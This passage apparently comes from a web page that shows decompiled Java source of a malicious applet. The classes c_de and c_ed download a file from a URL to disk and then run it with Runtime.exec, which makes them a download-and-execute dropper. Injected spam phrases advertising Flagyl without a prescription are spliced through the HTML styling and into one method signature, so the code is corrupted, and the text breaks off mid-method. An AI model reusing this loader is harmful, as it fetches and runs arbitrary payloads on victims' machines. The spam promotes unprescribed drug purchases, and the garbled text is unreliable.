<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>             <span style="color: #0000ff">case</span> 2: // <span style="color: #006080">'<title>Flagyl For Sale</title>2'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 j = 65 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl without prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>             ac[l] = (<span style="color: #0000ff">char</span>)j;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> String(ac);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl schedule</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span> }</pre>  </div></div></p>
<p><p>c_de.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.io.*;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl street price</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.net.URL;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URLConnection;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_de</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl trusted pharmacy reviews</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_de()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">boolean</span> de(String s, String s1)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl online cod</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             String s2 = s1;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             BufferedOutputStream bufferedoutputstream = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             InputStream inputstream = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             URL url = <span style="color: #0000ff">new</span> URL(s);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Purchase Flagyl for sale</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>             bufferedoutputstream = <span style="color: #0000ff">new</span> BufferedOutputStream(<span style="color: #0000ff">new</span> FileOutputStream(s2));</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             URLConnection urlconnection = url.openConnection();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             inputstream = urlconnection.getInputStream();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             byte abyte0[] = <span style="color: #0000ff">new</span> byte[1024];</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             <span style="color: #0000ff">int</span> i;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>order Flagyl no prescription</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>             <span style="color: #0000ff">for</span>(long l = 0L; (i = inputstream.<span style="color: #0000ff">read</span>(abyte0)) != -1; l += i)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 bufferedoutputstream.<span style="color: #0000ff">write</span>(abyte0, 0, i);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>             <span style="color: #0000ff">if</span>(inputstream != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 inputstream.<span style="color: #0000ff">close</span>();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl results</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             <span style="color: #0000ff">if</span>(bufferedoutputstream != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 bufferedoutputstream.<span style="color: #0000ff">close</span>();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>real brand Flagyl online</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span> }</pre>  </div></div></p>
<p><p>c_ed.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Where can i cheapest Flagyl online</b>, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">class</span> c_ed</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dosage</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     c_ed()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     <span style="color: #0000ff">public</span> void ed(String s, String s1, <b>Buy Flagyl without a prescription</b>, Applet applet)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>             c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             c_de c_de1 = <span style="color: #0000ff">new</span> c_de();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>buy Flagyl online cod</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             <span style="color: #0000ff">int</span> i = 0;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             do</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 <span style="color: #0000ff">if</span>(i &gt;= 5)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                     <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dose</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>                 <span style="color: #0000ff">if</span>(c_de1.de(s, s1))</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>                 {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                     Process process = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                     process = Runtime.getRuntime().<span style="color: #0000ff">exec</span>(s1);</pre></p>
